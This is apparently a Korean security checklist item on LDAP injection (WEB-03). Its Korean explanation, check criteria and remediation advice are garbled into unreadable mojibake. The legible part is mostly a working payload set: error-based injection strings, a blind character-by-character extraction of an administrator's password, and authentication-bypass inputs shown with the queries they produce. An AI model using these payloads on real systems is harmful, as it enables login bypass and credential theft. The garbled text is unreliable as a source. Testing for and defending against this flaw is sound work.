WEB-03 LDAP ์ธ์ ์
์ฌ์ฉ์ ์
๋ ฅ์ ๊ธฐ๋ฐ์ผ๋ก LDAP ๊ตฌ๋ฌธ์ ๊ตฌ์ถํ์ฌ ์น ๊ธฐ๋ฐ ์์ฉํ๋ก๊ทธ๋จ์ ์
์ฉํ๋๋ฐ ์ฌ์ฉ๋๋ ๊ณต๊ฒฉ
์ ๊ฒ ๋ฐ ํ๋จ ๊ธฐ์ค
- ์ํธ : ์์์ LDAP ์ฟผ๋ฆฌ ์
๋ ฅ์ ๋ํ ๊ฒ์ฆ์ด ์ด๋ฃจ์ด์ ธ ๋ณ์กฐ๋ ์ฟผ๋ฆฌ๊ฐ ์คํ๋์ง ์๋ ๊ฒฝ์ฐ
- ์ทจ์ฝ : ์์์ LDAP ์ฟผ๋ฆฌ ์
๋ ฅ์ ๋ํ ๊ฒ์ฆ์ด ์ด๋ฃจ์ด์ง์ง ์์ ๋ณ์กฐ๋ ์ฟผ๋ฆฌ๊ฐ ์คํ๋๋ ๊ฒฝ์ฐ
์กฐ์น ๋ฐฉ๋ฒ
- ์ง์ ๋ ๋ฌธ์์ด๋ง ์
๋ ฅ ํ์ฉํ๊ณ , ์์์ LDAP์ฟผ๋ฆฌ ์
๋ ฅ์ ๋ํ ๊ฒ์ฆ ๋ก์ง ๊ตฌํ
์ ๊ฒ ๋ฐฉ๋ฒ
- ์น ์ฌ์ดํธ์ ์ฌ์ฉ์ ์ธ์ ๊ฐ์ ์
๋ ฅ ๋ฐ๋ ์ ํ๋ฆฌ์ผ์ด์
( ๋ก๊ทธ์ธ ํผ , URL ๋ฑ )์ ๋ณ์กฐ ๋ LDAP ์ฟผ๋ฆฌ ์ ์ก ํ ์คํ๋๋์ง ํ์ธ
๋ณด์ ์ค์ ๋ฐฉ๋ฒ
- ์ฌ์ฉ์ ์
๋ ฅ ๋ฐ์ White List๋ก ์ง์ ํ์ฌ ์๋ฌธ๊ณผ ์ซ์๋ง์ ํ์ฉ
- DN๊ณผ ํํฐ์ ์ฌ์ฉ๋๋ ์ฌ์ฉ์ ์
๋ ฅ ๊ฐ์๋ ํน์๋ฌธ์๊ฐ ํฌํจ๋์ง ์๋๋ก ํน์๋ฌธ์ ์ ๊ฑฐ
- ํน์๋ฌธ์๋ฅผ ์ฌ์ฉํด์ผ ํ๋ ๊ฒฝ์ฐ ํน์๋ฌธ์์ ๋ํด์๋ ์คํ ๋ช
๋ น์ด ์๋ ์ผ๋ฐ ๋ฌธ์๋ก ์ธ์ ๋๋๋ก ์ฒ๋ฆฌ
Error base
*
*)(&
*))%00
)(cn=))\x00
*()|%26'
*()|&'
*(|(mail=*))
*(|(objectclass=*))
*)(uid=*))(|(uid=*
*/*
*|
/
//
//*
@*
|
admin*
admin*)((|userpassword=*)
admin*)((|userPassword=*)
x' or name()='username' or 'x'='y
Blind
(&(sn=administrator)(password=*)) : OK
(&(sn=administrator)(password=A*)) : KO
(&(sn=administrator)(password=B*)) : KO
...
(&(sn=administrator)(password=M*)) : OK
(&(sn=administrator)(password=MA*)) : KO
(&(sn=administrator)(password=MB*)) : KO
...
(&(sn=administrator)(password=MY*)) : OK
(&(sn=administrator)(password=MYA*)) : KO
(&(sn=administrator)(password=MYB*)) : KO
(&(sn=administrator)(password=MYC*)) : KO
...
(&(sn=administrator)(password=MYK*)) : OK
(&(sn=administrator)(password=MYKE)) : OK
Exploitation
user = *)(uid=*))(|(uid=*
pass = password
query = "(&(uid=*)(uid=*)) (|(uid=*)(userPassword={MD5}X03MO1qnZdYdgyfeuILPmQ==))"
user = admin)(!(&(1=0
pass = q))
query = (&(uid=admin)(!(&(1=0)(userPassword=q))))
Attribute List
userPassword
surname
name
cn
sn
objectClass
mail
givenName
commonName